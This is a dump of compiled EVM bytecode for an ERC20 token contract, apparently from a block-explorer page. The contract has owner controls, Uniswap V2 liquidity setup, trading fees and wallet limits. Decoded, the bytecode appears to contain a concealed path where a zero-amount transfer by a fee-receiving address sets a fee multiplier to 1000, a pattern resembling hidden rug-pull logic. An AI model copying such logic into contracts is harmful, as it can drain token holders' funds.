ff1663f305d719823085600080600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016132eb969594939291906138cc565b60606040518083038185885af1158015613309573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061332e9190613942565b5050505050565b6000808311829061337c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133739190613428565b60405180910390fd5b506000838561338b9190613f73565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156133d25780820151818401526020810190506133b7565b60008484015250505050565b6000601f19601f8301169050919050565b60006133fa82613398565b61340481856133a3565b93506134148185602086016133b4565b61341d816133de565b840191505092915050565b6000602082019050818103600083015261344281846133ef565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006134758261344a565b9050919050565b6134858161346a565b82525050565b60006020820190506134a0600083018461347c565b92915050565b600080fd5b6134b48161346a565b81146134bf57600080fd5b50565b6000813590506134d1816134ab565b92915050565b6000819050919050565b6134ea816134d7565b81146134f557600080fd5b50565b600081359050613507816134e1565b92915050565b60008060408385031215613524576135236134a6565b5b6000613532858286016134c2565b9250506020613543858286016134f8565b9150509250929050565b60008115159050919050565b6135628161354d565b82525050565b600060208201905061357d6000830184613559565b92915050565b6000819050919050565b60006135a86135a361359e8461344a565b613583565b61344a565b9050919050565b60006135ba8261358d565b9050919050565b60006135cc826135af565b9050919050565b6135dc816135c1565b82525050565b60006020820190506135f760008301846135d3565b92915050565b613606816134d7565b82525050565b600060208201905061362160008301846135fd565b92915050565b6000806000606084860312156136405761363f6134a6565b5b600061364e868287016134c2565b935050602061365f868287016134c2565b9250506040613670868287016134f8565b9150509250925092565b600060ff82169050919050565b6136908161367a565b82525050565b60006020820190506136ab6000830184613687565b92915050565b6000602082840312156136c7576136c66134a6565b5b60006136d5848285016134c2565b91505092915050565b60006136e98261344a565b9050919050565b6136f9816136de565b82525050565b600060208201905061371460008301846136f0565b92915050565b60008060408385031215613731576137306134a6565b5b600061373f858286016134c2565b9250506020613750858286016134c2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806137a157607f821691505b6020821081036137b4576137b361375a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006137f06020836133a3565b91506137fb826137ba565b602082019050919050565b6000602082019050818103600083015261381f816137e3565b9050919050565b600081519050613835816134ab565b92915050565b600060208284031215613851576138506134a6565b5b600061385f84828501613826565b91505092915050565b600060408201905061387d600083018561347c565b61388a602083018461347c565b9392505050565b6000819050919050565b60006138b66138b16138ac84613891565b613583565b6134d7565b9050919050565b6138c68161389b565b82525050565b600060c0820190506138e1600083018961347c565b6138ee60208301886135fd565b6138fb60408301876138bd565b61390860608301866138bd565b613915608083018561347c565b61392260a08301846135fd565b979650505050505050565b60008151905061393c816134e1565b92915050565b60008060006060848603121561395b5761395a6134a6565b5b60006139698682870161392d565b935050602061397a8682870161392d565b925050604061398b8682870161392d565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006139f16026836133a3565b91506139fc82613995565b604082019050919050565b60006020820190508181036000830152613a20816139e4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613a836024836133a3565b9150613a8e82613a27565b604082019050919050565b60006020820190508181036000830152613ab281613a76565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b156022836133a3565b9150613b2082613ab9565b604082019050919050565b60006020820190508181036000830152613b4481613b08565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ba76025836133a3565b9150613bb282613b4b565b604082019050919050565b60006020820190508181036000830152613bd681613b9a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613c396023836133a3565b9150613c4482613bdd565b604082019050919050565b60006020820190508181036000830152613c6881613c2c565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000613ca56013836133a3565b9150613cb082613c6f565b602082019050919050565b60006020820190508181036000830152613cd481613c98565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000613d376028836133a3565b9150613d4282613cdb565b604082019050919050565b60006020820190508181036000830152613d6681613d2a565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c6960008201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b6000613dc96025836133a3565b9150613dd482613d6d565b604082019050919050565b60006020820190508181036000830152613df881613dbc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e39826134d7565b9150613e44836134d7565b9250828203905081811115613e5c57613e5b613dff565b5b92915050565b6000613e6d826134d7565b9150613e78836134d7565b9250828201905080821115613e9057613e8f613dff565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ecc601b836133a3565b9150613ed782613e96565b602082019050919050565b60006020820190508181036000830152613efb81613ebf565b9050919050565b6000613f0d826134d7565b9150613f18836134d7565b9250828202613f26816134d7565b91508282048414831517613f3d57613f3c613dff565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f7e826134d7565b9150613f89836134d7565b925082613f9957613f98613f44565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140006021836133a3565b915061400b82613fa4565b604082019050919050565b6000602082019050818103600083015261402f81613ff3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6140c98161346a565b82525050565b60006140db83836140c0565b60208301905092915050565b6000602082019050919050565b60006140ff82614094565b614109818561409f565b9350614114836140b0565b8060005b8381101561414557815161412c88826140cf565b9750614137836140e7565b925050600181019050614118565b5085935050505092915050565b600060a08201905061416760008301886135fd565b61417460208301876138bd565b818103604083015261418681866140f4565b9050614195606083018561347c565b6141a260808301846135fd565b9695505050505050565b60006040820190506141c160008301856135fd565b81810360208301526141d381846140f4565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f2385f63d0871262ca2bd79eb4fd1a2513514ed4acbc314899c0e070e5a7be6364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102815760003560e01c8063852614851161014f578063c5d24189116100c1578063dd62ed3e1161007a578063dd62ed3e1461098a578063f0cd1dac146109c7578063f2fde38b146109f2578063f680f79914610a1b578063f872858a14610a46578063fb45af2314610a7157610288565b8063c5d24189146108bd578063c8607952146108e8578063c9567bf914610913578063d6bbdadb1461092a578063da00097d14610934578063dc44b6a01461095f57610288565b806398e944c81161011357806398e944c814610797578063a457c2d7146107c2578063a61432b5146107ff578063a7251ef61461082a578063a8b0898214610855578063a9059cbb1461088057610288565b806385261485146106ae57806388790a68146106d95780638b42507f146107045780638da5cb5b1461074157806395d89b411461076c57610288565b80633ecad271116101f35780636c0a24eb116101ac5780636c0a24eb146105c257806370a08231146105ed578063715018a61461062a578063751039fc146106415780637d1db4a51461065857806382eefb431461068357610288565b80633ecad2711461049c5780634a74bb02146104d95780634ada218b146105045780634fbee1931461052f5780635194f9bf1461056c5780635c7e0fee1461059757610288565b806323555d571161024557806323555d571461037657806323b872dd146103a157806327c8f835146103de5780632b112e4914610409578063313ce56714610434578063395093511461045f57610288565b806306fdde031461028d5780630930907b146102b8578063095ea7b3146102e35780631694505e1461032057806318160ddd1461034b57610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a2610aae565b6040516102af9190613428565b60405180910390f35b3480156102c457600080fd5b506102cd610b40565b6040516102da919061348b565b60405180910390f35b3480156102ef57600080fd5b5061030a6004803603810190610305919061350d565b610b64565b6040516103179190613568565b60405180910390f35b34801561032c57600080fd5b50610335610b82565b60405161034291906135e2565b60405180910390f35b34801561035757600080fd5b50610360610ba8565b60405161036d919061360c565b60405180910390f35b34801561038257600080fd5b5061038b610bb2565b604051610398919061360c565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190613627565b610bb8565b6040516103d59190613568565b60405180910390f35b3480156103ea57600080fd5b506103f3610c92565b604051610400919061348b565b60405180910390f35b34801561041557600080fd5b5061041e610cb6565b60405161042b919061360c565b60405180910390f35b34801561044057600080fd5b50610449610d34565b6040516104569190613696565b60405180910390f35b34801561046b57600080fd5b506104866004803603810190610481919061350d565b610d4b565b6040516104939190613568565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be91906136b1565b610dfe565b6040516104d09190613568565b60405180910390f35b3480156104e557600080fd5b506104ee610e1e565b6040516104fb9190613568565b60405180910390f35b34801561051057600080fd5b50610519610e31565b6040516105269190613568565b60405180910390f35b34801561053b57600080fd5b50610556600480360381019061055191906136b1565b610e44565b6040516105639190613568565b60405180910390f35b34801561057857600080fd5b50610581610e64565b60405161058e919061360c565b60405180910390f35b3480156105a357600080fd5b506105ac610e6a565b6040516105b991906136ff565b60405180910390f35b3480156105ce57600080fd5b506105d7610e90565b6040516105e4919061360c565b60405180910390f35b3480156105f957600080fd5b50610614600480360381019061060f91906136b1565b610e96565b604051610621919061360c565b60405180910390f35b34801561063657600080fd5b5061063f610edf565b005b34801561064d57600080fd5b50610656611034565b005b34801561066457600080fd5b5061066d6110dd565b60405161067a919061360c565b60405180910390f35b34801561068f57600080fd5b506106986110e3565b6040516106a5919061360c565b60405180910390f35b3480156106ba57600080fd5b506106c36110e9565b6040516106d09190613568565b60405180910390f35b3480156106e557600080fd5b506106ee6110fc565b6040516106fb919061360c565b60405180910390f35b34801561071057600080fd5b5061072b600480360381019061072691906136b1565b611102565b6040516107389190613568565b60405180910390f35b34801561074d57600080fd5b50610756611122565b604051610763919061348b565b60405180910390f35b34801561077857600080fd5b5061078161114b565b60405161078e9190613428565b60405180910390f35b3480156107a357600080fd5b506107ac6111dd565b6040516107b9919061348b565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e4919061350d565b611203565b6040516107f69190613568565b60405180910390f35b34801561080b57600080fd5b506108146112d0565b60405161082191906136ff565b60405180910390f35b34801561083657600080fd5b5061083f6112f6565b60405161084c919061360c565b60405180910390f35b34801561086157600080fd5b5061086a6112fc565b604051610877919061348b565b60405180910390f35b34801561088c57600080fd5b506108a760048036038101906108a2919061350d565b611322565b6040516108b49190613568565b60405180910390f35b3480156108c957600080fd5b506108d2611341565b6040516108df919061360c565b60405180910390f35b3480156108f457600080fd5b506108fd611347565b60405161090a919061360c565b60405180910390f35b34801561091f57600080fd5b5061092861134d565b005b6109326113ff565b005b34801561094057600080fd5b50610949611994565b6040516109569190613568565b60405180910390f35b34801561096b57600080fd5b506109746119a7565b604051610981919061360c565b60405180910390f35b34801561099657600080fd5b506109b160048036038101906109ac919061371a565b6119ad565b6040516109be919061360c565b60405180910390f35b3480156109d357600080fd5b506109dc611a34565b6040516109e9919061360c565b60405180910390f35b3480156109fe57600080fd5b50610a196004803603810190610a1491906136b1565b611a3a565b005b348015610a2757600080fd5b50610a30611bfb565b604051610a3d919061360c565b60405180910390f35b348015610a5257600080fd5b50610a5b611c01565b604051610a689190613568565b60405180910390f35b348015610a7d57600080fd5b50610a986004803603810190610a9391906136b1565b611c14565b604051610aa59190613568565b60405180910390f35b606060018054610abd90613789565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990613789565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610b78610b71611c34565b8484611c3c565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600f5481565b6000610bc5848484611e05565b50610c8784610bd2611c34565b610c82856040518060600160405280602881526020016141dd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c38611c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b611c3c565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610d2f610ce47f0000000000000000000000000000000000000000000000000000000000000000610e96565b610d21610d107f000000000000000000000000000000000000000000000000000000000000dead610e96565b60165461263b90919063ffffffff16565b61263b90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6000610df4610d58611c34565b84610def8560076000610d69611c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b611c3c565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b600860009054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b60125481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ee7611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b90613806565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61103c611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c090613806565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461115a90613789565b80601f016020809104026020016040519081016040528092919081815260200182805461118690613789565b80156111d35780601f106111a8576101008083540402835291602001916111d3565b820191906000526020600020905b8154815290600101906020018083116111b657829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112c6611210611c34565b846112c185604051806060016040528060258152602001614205602591396007600061123a611c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b611c3c565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133661132f611c34565b8484611e05565b506001905092915050565b600e5481565b60115481565b611355611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d990613806565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b611407611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b90613806565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151c919061383b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a7919061383b565b6040518363ffffffff1660e01b81526004016115c4929190613868565b6020604051808303816000875af11580156115e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611607919061383b565b601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061192530610e96565b60008033426040518863ffffffff1660e01b815260040161194b969594939291906138cc565b60606040518083038185885af1158015611969573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061198e9190613942565b50505050565b601b60169054906101000a900460ff1681565b600d5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b611a42611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac690613806565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590613a07565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b601b60179054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca290613a99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1190613b2b565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611df8919061360c565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611e75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6c90613bbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edb90613c4f565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f885750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdd57600860009054906101000a900460ff16611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd390613cbb565b60405180910390fd5b5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061207e5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120ac576120a584848461209388886126e3565b61209d57856120a0565b60005b612809565b90506125d0565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121505750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121685750601b60189054906101000a900460ff165b156121b3576018548211156121b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a990613d4d565b60405180910390fd5b5b60006121be30610e96565b9050600060175482101590508080156121e45750601b60149054906101000a900460ff16155b801561223a5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122525750601b60159054906101000a900460ff165b1561227c57601b60169054906101000a900460ff16156122725760175491505b61227b826129ef565b5b612305846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123eb5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6123ff576123fa878787612cce565b612401565b845b9050601b60179054906101000a900460ff1680156124695750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124ce5760195461248c8261247e89610e96565b61268590919063ffffffff16565b11156124cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c490613ddf565b60405180910390fd5b5b61252081600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125c0919061360c565b60405180910390a3600193505050505b9392505050565b600083831115829061261f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126169190613428565b60405180910390fd5b506000838561262e9190613e2e565b9050809150509392505050565b600061267d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125d7565b905092915050565b60008082846126949190613e62565b9050838110156126d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d090613ee2565b60405180910390fd5b8091505092915050565b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561278f5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156127c85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128015750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b6000612894826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061292983600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000820361297e576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129db919061360c565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055506000612a2360155460145461268590919063ffffffff16565b90506000612a3e601054600d5461268590919063ffffffff16565b90506000612a59601154600e5461268590919063ffffffff16565b90506000612a956002612a8786612a79878a612ef590919063ffffffff16565b612f6f90919063ffffffff16565b612f6f90919063ffffffff16565b90506000612aac828761263b90919063ffffffff16565b90506000479050612abc82612fb9565b6000612ad1824761263b90919063ffffffff16565b90506000612afb612aec600289612f6f90919063ffffffff16565b8961263b90919063ffffffff16565b90506000612b376002612b2984612b1b8c88612ef590919063ffffffff16565b612f6f90919063ffffffff16565b612f6f90919063ffffffff16565b90506000612b7483612b66612b576013548c612ef590919063ffffffff16565b87612ef590919063ffffffff16565b612f6f90919063ffffffff16565b90506000612b9d82612b8f858861263b90919063ffffffff16565b61263b90919063ffffffff16565b90506000821115612c1257600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612c10573d6000803e3d6000fd5b505b6000811115612c8557600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c83573d6000803e3d6000fd5b505b600083118015612c955750600088115b15612ca557612ca48884613235565b5b50505050505050505050506000601b60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d5657612d4f6064612d4160145486612ef590919063ffffffff16565b612f6f90919063ffffffff16565b9050612dd4565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612dd357612dd06064612dc260155486612ef590919063ffffffff16565b612f6f90919063ffffffff16565b90505b5b6000811115612ed857612e2f81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ecf919061360c565b60405180910390a35b612eeb818461263b90919063ffffffff16565b9150509392505050565b6000808303612f075760009050612f69565b60008284612f159190613f02565b9050828482612f249190613f73565b14612f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5b90614016565b60405180910390fd5b809150505b92915050565b6000612fb183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613335565b905092915050565b6000600267ffffffffffffffff811115612fd657612fd5614036565b5b6040519080825280602002602001820160405280156130045781602001602082028036833780820191505090505b509050308160008151811061301c5761301b614065565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130e7919061383b565b816001815181106130fb576130fa614065565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061316230601a60009054906101000a900473fffffffffffffffffffffffffff